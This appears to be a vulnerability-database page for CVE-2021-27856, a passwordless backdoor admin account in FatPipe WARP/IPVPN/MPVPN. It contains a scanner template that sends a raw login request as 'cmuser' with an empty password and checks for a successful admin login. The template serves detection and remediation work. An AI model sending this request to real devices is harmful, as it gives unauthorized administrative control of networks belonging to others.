CVE-2021-27856: FatPipe WARP/IPVPN/MPVPN - Backdoor Account

2025-08-01 FatPipe PoC Public

Description

FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain an account named "cmuser" with administrative privileges and no password, letting attackers gain unauthorized admin access, exploit requires no authentication.

PoC

id: CVE-2021-27856

info:
  name: FatPipe WARP/IPVPN/MPVPN - Backdoor Account
  author: gy741
  severity: critical
  description: |
    FatPipe WARP, IPVPN, and MPVPN software prior to versions 10.1.2r60p91 and 10.2.2r42 contain an account named "cmuser" with administrative privileges and no password, letting attackers gain unauthorized admin access, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can gain unauthorized administrative access via a backdoor account with no password, leading to complete device compromise.
  remediation: |
    Upgrade to FatPipe WARP/IPVPN/MPVPN version 10.1.2r60p91 or 10.2.2r42 or later.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5684.php
    - https://www.fatpipeinc.com/support/advisories.php
    - https://www.fatpipeinc.com/support/cve-list.php
    - https://www.zeroscience.mk/codes/fatpipe_backdoor.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-27856
    cwe-id: NVD-CWE-Other
    epss-score: 0.05598
    epss-percentile: 0.92504
    cpe: cpe:2.3:o:fatpipeinc:warp_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fatpipeinc
    product: warp_firmware
  tags: cve,cve2021,fatpipe,default-login,backdoor,auth-bypass,vkev,vuln

http:
  - raw:
      - |
        POST /fpui/loginServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        loginParams=%7B%22username%22%3A%22cmuser%22%2C%22password%22%3A%22%22%2C%22authType%22%3A0%7D

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "application/json"
        part: header

      - type: word
        words:
          - '"loginRes":"success"'
          - '"activeUserName":"cmuser"'
        condition: and
# digest: 490a0046304402205a33c6310db221e704cc11e2ed5589ba983a1ec9a0f07d97a5fca76a1cc93b31022058c17918296991de533d0d063668d313b02fd55e6851af4460cea1de05c6af90:922c64590222798bb761d5b6d8e72950

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